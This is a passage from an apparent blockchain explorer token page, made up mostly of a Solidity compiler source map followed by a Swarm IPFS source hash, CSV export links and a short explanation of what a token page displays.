;:::o;3123:210::-;3210:4;3248:2;3237:9;3233:18;3225:26;;3261:65;3323:1;3312:9;3308:17;3299:6;3261:65;:::i;:::-;3123:210;;;;:::o;3339:118::-;3426:24;3444:5;3426:24;:::i;:::-;3421:3;3414:37;3339:118;;:::o;3463:222::-;3556:4;3594:2;3583:9;3579:18;3571:26;;3607:71;3675:1;3664:9;3660:17;3651:6;3607:71;:::i;:::-;3463:222;;;;:::o;3691:619::-;3768:6;3776;3784;3833:2;3821:9;3812:7;3808:23;3804:32;3801:119;;;3839:79;;:::i;:::-;3801:119;3959:1;3984:53;4029:7;4020:6;4009:9;4005:22;3984:53;:::i;:::-;3974:63;;3930:117;4086:2;4112:53;4157:7;4148:6;4137:9;4133:22;4112:53;:::i;:::-;4102:63;;4057:118;4214:2;4240:53;4285:7;4276:6;4265:9;4261:22;4240:53;:::i;:::-;4230:63;;4185:118;3691:619;;;;;:::o;4316:86::-;4351:7;4391:4;4384:5;4380:16;4369:27;;4316:86;;;:::o;4408:112::-;4491:22;4507:5;4491:22;:::i;:::-;4486:3;4479:35;4408:112;;:::o;4526:214::-;4615:4;4653:2;4642:9;4638:18;4630:26;;4666:67;4730:1;4719:9;4715:17;4706:6;4666:67;:::i;:::-;4526:214;;;;:::o;4746:329::-;4805:6;4854:2;4842:9;4833:7;4829:23;4825:32;4822:119;;;4860:79;;:::i;:::-;4822:119;4980:1;5005:53;5050:7;5041:6;5030:9;5026:22;5005:53;:::i;:::-;4995:63;;4951:117;4746:329;;;;:::o;5081:118::-;5168:24;5186:5;5168:24;:::i;:::-;5163:3;5156:37;5081:118;;:::o;5205:222::-;5298:4;5336:2;5325:9;5321:18;5313:26;;5349:71;5417:1;5406:9;5402:17;5393:6;5349:71;:::i;:::-;5205:222;;;;:::o;5433:117::-;5542:1;5539;5532:12;5556:117;5665:1;5662;5655:12;5679:117;5788:1;5785;5778:12;5819:568;5892:8;5902:6;5952:3;5945:4;5937:6;5933:17;5929:27;5919:122;;5960:79;;:::i;:::-;5919:122;6073:6;6060:20;6050:30;;6103:18;6095:6;6092:30;6089:117;;;6125:79;;:::i;:::-;6089:117;6239:4;6231:6;6227:17;6215:29;;6293:3;6285:4;6277:6;6273:17;6263:8;6259:32;6256:41;6253:128;;;6300:79;;:::i;:::-;6253:128;5819:568;;;;;:::o;6393:559::-;6479:6;6487;6536:2;6524:9;6515:7;6511:23;6507:32;6504:119;;;6542:79;;:::i;:::-;6504:119;6690:1;6679:9;6675:17;6662:31;6720:18;6712:6;6709:30;6706:117;;;6742:79;;:::i;:::-;6706:117;6855:80;6927:7;6918:6;6907:9;6903:22;6855:80;:::i;:::-;6837:98;;;;6633:312;6393:559;;;;;:::o;6958:474::-;7026:6;7034;7083:2;7071:9;7062:7;7058:23;7054:32;7051:119;;;7089:79;;:::i;:::-;7051:119;7209:1;7234:53;7279:7;7270:6;7259:9;7255:22;7234:53;:::i;:::-;7224:63;;7180:117;7336:2;7362:53;7407:7;7398:6;7387:9;7383:22;7362:53;:::i;:::-;7352:63;;7307:118;6958:474;;;;;:::o;7438:180::-;7486:77;7483:1;7476:88;7583:4;7580:1;7573:15;7607:4;7604:1;7597:15;7624:320;7668:6;7705:1;7699:4;7695:12;7685:22;;7752:1;7746:4;7742:12;7773:18;7763:81;;7829:4;7821:6;7817:17;7807:27;;7763:81;7891:2;7883:6;7880:14;7860:18;7857:38;7854:84;;7910:18;;:::i;:::-;7854:84;7675:269;7624:320;;;:::o;7950:180::-;7998:77;7995:1;7988:88;8095:4;8092:1;8085:15;8119:4;8116:1;8109:15;8136:102;8178:8;8225:5;8222:1;8218:13;8197:34;;8136:102;;;:::o;8244:848::-;8305:5;8312:4;8336:6;8327:15;;8360:5;8351:14;;8374:712;8395:1;8385:8;8382:15;8374:712;;;8490:4;8485:3;8481:14;8475:4;8472:24;8469:50;;;8499:18;;:::i;:::-;8469:50;8549:1;8539:8;8535:16;8532:451;;;8964:4;8957:5;8953:16;8944:25;;8532:451;9014:4;9008;9004:15;8996:23;;9044:32;9067:8;9044:32;:::i;:::-;9032:44;;8374:712;;;8244:848;;;;;;;:::o;9098:1073::-;9152:5;9343:8;9333:40;;9364:1;9355:10;;9366:5;;9333:40;9392:4;9382:36;;9409:1;9400:10;;9411:5;;9382:36;9478:4;9526:1;9521:27;;;;9562:1;9557:191;;;;9471:277;;9521:27;9539:1;9530:10;;9541:5;;;9557:191;9602:3;9592:8;9589:17;9586:43;;;9609:18;;:::i;:::-;9586:43;9658:8;9655:1;9651:16;9642:25;;9693:3;9686:5;9683:14;9680:40;;;9700:18;;:::i;:::-;9680:40;9733:5;;;9471:277;;9857:2;9847:8;9844:16;9838:3;9832:4;9829:13;9825:36;9807:2;9797:8;9794:16;9789:2;9783:4;9780:12;9776:35;9760:111;9757:246;;;9913:8;9907:4;9903:19;9894:28;;9948:3;9941:5;9938:14;9935:40;;;9955:18;;:::i;:::-;9935:40;9988:5;;9757:246;10028:42;10066:3;10056:8;10050:4;10047:1;10028:42;:::i;:::-;10013:57;;;;10102:4;10097:3;10093:14;10086:5;10083:25;10080:51;;;10111:18;;:::i;:::-;10080:51;10160:4;10153:5;10149:16;10140:25;;9098:1073;;;;;;:::o;10177:281::-;10235:5;10259:23;10277:4;10259:23;:::i;:::-;10251:31;;10303:25;10319:8;10303:25;:::i;:::-;10291:37;;10347:104;10384:66;10374:8;10368:4;10347:104;:::i;:::-;10338:113;;10177:281;;;;:::o;10464:410::-;10504:7;10527:20;10545:1;10527:20;:::i;:::-;10522:25;;10561:20;10579:1;10561:20;:::i;:::-;10556:25;;10616:1;10613;10609:9;10638:30;10656:11;10638:30;:::i;:::-;10627:41;;10817:1;10808:7;10804:15;10801:1;10798:22;10778:1;10771:9;10751:83;10728:139;;10847:18;;:::i;:::-;10728:139;10512:362;10464:410;;;;:::o;10880:173::-;11020:25;11016:1;11008:6;11004:14;10997:49;10880:173;:::o;11059:366::-;11201:3;11222:67;11286:2;11281:3;11222:67;:::i;:::-;11215:74;;11298:93;11387:3;11298:93;:::i;:::-;11416:2;11411:3;11407:12;11400:19;;11059:366;;;:::o;11431:419::-;11597:4;11635:2;11624:9;11620:18;11612:26;;11684:9;11678:4;11674:20;11670:1;11659:9;11655:17;11648:47;11712:131;11838:4;11712:131;:::i;:::-;11704:139;;11431:419;;;:::o;11856:143::-;11913:5;11944:6;11938:13;11929:22;;11960:33;11987:5;11960:33;:::i;:::-;11856:143;;;;:::o;12005:351::-;12075:6;12124:2;12112:9;12103:7;12099:23;12095:32;12092:119;;;12130:79;;:::i;:::-;12092:119;12250:1;12275:64;12331:7;12322:6;12311:9;12307:22;12275:64;:::i;:::-;12265:74;;12221:128;12005:351;;;;:::o;12362:332::-;12483:4;12521:2;12510:9;12506:18;12498:26;;12534:71;12602:1;12591:9;12587:17;12578:6;12534:71;:::i;:::-;12615:72;12683:2;12672:9;12668:18;12659:6;12615:72;:::i;:::-;12362:332;;;;;:::o;12700:85::-;12745:7;12774:5;12763:16;;12700:85;;;:::o;12791:60::-;12819:3;12840:5;12833:12;;12791:60;;;:::o;12857:158::-;12915:9;12948:61;12966:42;12975:32;13001:5;12975:32;:::i;:::-;12966:42;:::i;:::-;12948:61;:::i;:::-;12935:74;;12857:158;;;:::o;13021:147::-;13116:45;13155:5;13116:45;:::i;:::-;13111:3;13104:58;13021:147;;:::o;13174:807::-;13423:4;13461:3;13450:9;13446:19;13438:27;;13475:71;13543:1;13532:9;13528:17;13519:6;13475:71;:::i;:::-;13556:72;13624:2;13613:9;13609:18;13600:6;13556:72;:::i;:::-;13638:80;13714:2;13703:9;13699:18;13690:6;13638:80;:::i;:::-;13728;13804:2;13793:9;13789:18;13780:6;13728:80;:::i;:::-;13818:73;13886:3;13875:9;13871:19;13862:6;13818:73;:::i;:::-;13901;13969:3;13958:9;13954:19;13945:6;13901:73;:::i;:::-;13174:807;;;;;;;;;:::o;13987:143::-;14044:5;14075:6;14069:13;14060:22;;14091:33;14118:5;14091:33;:::i;:::-;13987:143;;;;:::o;14136:663::-;14224:6;14232;14240;14289:2;14277:9;14268:7;14264:23;14260:32;14257:119;;;14295:79;;:::i;:::-;14257:119;14415:1;14440:64;14496:7;14487:6;14476:9;14472:22;14440:64;:::i;:::-;14430:74;;14386:128;14553:2;14579:64;14635:7;14626:6;14615:9;14611:22;14579:64;:::i;:::-;14569:74;;14524:129;14692:2;14718:64;14774:7;14765:6;14754:9;14750:22;14718:64;:::i;:::-;14708:74;;14663:129;14136:663;;;;;:::o;14805:180::-;14853:77;14850:1;14843:88;14950:4;14947:1;14940:15;14974:4;14971:1;14964:15;14991:180;15131:32;15127:1;15119:6;15115:14;15108:56;14991:180;:::o;15177:366::-;15319:3;15340:67;15404:2;15399:3;15340:67;:::i;:::-;15333:74;;15416:93;15505:3;15416:93;:::i;:::-;15534:2;15529:3;15525:12;15518:19;;15177:366;;;:::o;15549:419::-;15715:4;15753:2;15742:9;15738:18;15730:26;;15802:9;15796:4;15792:20;15788:1;15777:9;15773:17;15766:47;15830:131;15956:4;15830:131;:::i;:::-;15822:139;;15549:419;;;:::o;15974:194::-;16014:4;16034:20;16052:1;16034:20;:::i;:::-;16029:25;;16068:20;16086:1;16068:20;:::i;:::-;16063:25;;16112:1;16109;16105:9;16097:17;;16136:1;16130:4;16127:11;16124:37;;;16141:18;;:::i;:::-;16124:37;15974:194;;;;:::o;16174:191::-;16214:3;16233:20;16251:1;16233:20;:::i;:::-;16228:25;;16267:20;16285:1;16267:20;:::i;:::-;16262:25;;16310:1;16307;16303:9;16296:16;;16331:3;16328:1;16325:10;16322:36;;;16338:18;;:::i;:::-;16322:36;16174:191;;;;:::o;16371:177::-;16511:29;16507:1;16499:6;16495:14;16488:53;16371:177;:::o;16554:366::-;16696:3;16717:67;16781:2;16776:3;16717:67;:::i;:::-;16710:74;;16793:93;16882:3;16793:93;:::i;:::-;16911:2;16906:3;16902:12;16895:19;;16554:366;;;:::o;16926:419::-;17092:4;17130:2;17119:9;17115:18;17107:26;;17179:9;17173:4;17169:20;17165:1;17154:9;17150:17;17143:47;17207:131;17333:4;17207:131;:::i;:::-;17199:139;;16926:419;;;:::o
Swarm Source
ipfs://3e53a54842dc1a35d5aa6f79949b765e96133dade3e971be5d3f7860d0fcfa92
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.